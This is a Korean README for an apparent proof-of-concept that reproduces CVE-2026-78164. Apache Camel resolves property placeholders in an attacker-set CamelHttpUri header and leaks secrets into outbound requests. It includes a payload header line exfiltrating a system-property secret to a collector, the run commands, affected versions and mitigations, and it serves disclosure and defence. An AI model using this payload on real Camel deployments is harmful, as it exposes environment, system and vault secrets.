
CVE-2026-78164에 대한 실행 가능한 개념 증명으로, Apache Camel HTTP 프로듀서가 공격자가 제공한 CamelHttpUri 헤더의 속성 플레이스홀더를 해석할 때 비밀 정보가 유출되는 것을 보여줍니다.
HTTP 프로듀서 계열이 인바운드 메시지가 CamelHttpUri 및 CamelRestHttpUri 헤더를 통해 엔드포인트 URI를 재정의하도록 허용한 뒤, 해당 메시지에서 제공된 문자열을 사용하기 전에 CamelContext.resolvePropertyPlaceholders()를 통해 전달하는 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현기입니다.
속성 플레이스홀더 해석은 구성 해석 기능이지 URI 파싱 단계가 아닙니다. 이는 운영체제 환경 변수, JVM 시스템 속성, 클래스패스의 모든 PropertiesFunction(AWS, Azure, GCP, HashiCorp, IBM, CyberArk 및 Kubernetes 시크릿 함수 포함)에 접근하며 — camel-bean을 통해 — 레지스트리의 모든 빈에 대한 인자 없는 메서드 호출까지 수행합니다. 이를 공격자가 영향을 미칠 수 있는 Exchange 콘텐츠에 적용하면 URI 문자열이 구성 및 빈 평가 컨텍스트로 변모합니다. 라우트 작성자는 이 중 어느 것도 선택하지 않았습니다. 단순한 정적 to("http://backend/api")만으로 충분했습니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (영향받음; 4.22.1에서 수정) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, 영향받음) |
이 동작은 4.x 계열보다 앞서 존재합니다(camel-http4 / camel-netty4로 거슬러 올라감). 따라서 모든 영향받는 릴리스와 최신 Camel Quarkus의 Camel 4.15.0이 취약합니다. 수정 사항은 Camel 4.18.5 / 4.22.1 / 4.23.0에 포함됩니다. Spring Boot 모듈은 영향받는 빌드(4.22.0)와 수정된 빌드(4.22.1)를 모두 실행합니다. 아직 수정된 Camel을 번들로 포함한 Camel Quarkus 릴리스는 없습니다.
라우트는 로컬 수집기를 가리키는 단순한 정적 to("http://127.0.0.1:9100/collect")입니다. 공격자는 속성 플레이스홀더 토큰을 담은 URI로 CamelHttpUri 헤더를 설정합니다 — 비밀 값을 알지 못한 채, 키 이름만 지정합니다:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
앱은 모든 구성 값이나 vault 시크릿을 대신하기 위해 JVM 시스템 속성 cve78164.secret을 시드합니다. 영향받는 빌드에서는 프로듀서가 요청이 나가기 전에 플레이스홀더를 해석하므로, 컬렉터가 아웃바운드 쿼리에서 시크릿을 확인합니다. 수정된 빌드에서는 토큰이 그대로 전달됩니다.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
영향을 받은 빌드에서 예상되는 출력:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
수정된 빌드에서는 수집기가 대신 GET /collect?leak={{sys:cve78164.secret}}(리터럴, 해석되지 않음)를 확인합니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (템플릿 엔진에 사용되는 특수 요소의 부적절한 중화), CWE-200 (정보 노출) |
| 심각도 | HIGH |
| 공격 벡터 | {{...}} 토큰을 담은 CamelHttpUri / CamelRestHttpUri 재정의 헤더; 본문/헤더는 bridgeEndpoint로 제한되지 않으며, 여러 컨슈머가 리버스 프록시 기능으로 요청 라인에서 CamelHttpUri를 채움 |
| 영향 | 환경 변수, 시스템 속성 및 vault 시크릿이 아웃바운드 요청으로 확장됨; 레지스트리 빈의 인자 없는 호출; 에코된 오류를 통한 설정 키 설정/해제 오라클 |
| 영향받는 버전 | 4.0.0부터 4.18.5 이전, 4.19.0부터 4.22.1 이전 (동작은 4.x 이전부터 존재) |
| 수정된 버전 | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| 크레딧 | [email protected] |
권고: https://camel.apache.org/security/CVE-2026-78164.html
영향받는 모든 지점에서 메시지별 resolvePropertyPlaceholders() 호출이 제거되어, CamelHttpUri 또는 CamelRestHttpUri에만 나타나는 {{...}} 토큰은 이제 URI의 리터럴 일부로 처리됩니다. 라우트 자체의 엔드포인트 URI에 있는 플레이스홀더는 영향을 받지 않습니다. 이들은 엔드포인트가 생성될 때 빌드 시점에 한 번 해석됩니다.
프로듀서 이전의 신뢰 경계에서 removeHeader("CamelHttpUri") 및 removeHeader("CamelRestHttpUri")로 재정의 헤더를 제거하거나, camel-http 엔드포인트에서 skipControlHeaders=true를 설정하십시오(해당 옵션을 제공하는 유일한 구성 요소). bridgeEndpoint=true는 작업 우회책이 아닙니다. 신뢰할 수 없는 발신자에게 노출된 컨슈머에는 엄격한 인바운드 HeaderFilterStrategy를 적용하고, 플레이스홀더가 지정할 수 있는 환경/시스템 속성이 아닌 vault를 통해 시크릿을 해석하십시오.
이 저장소는 교육 및 방어 목적으로 게시됩니다. Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드가 이를 해결하는지 검증할 수 있도록 돕기 위함입니다. "시크릿"은 비활성 로컬 픽스처입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.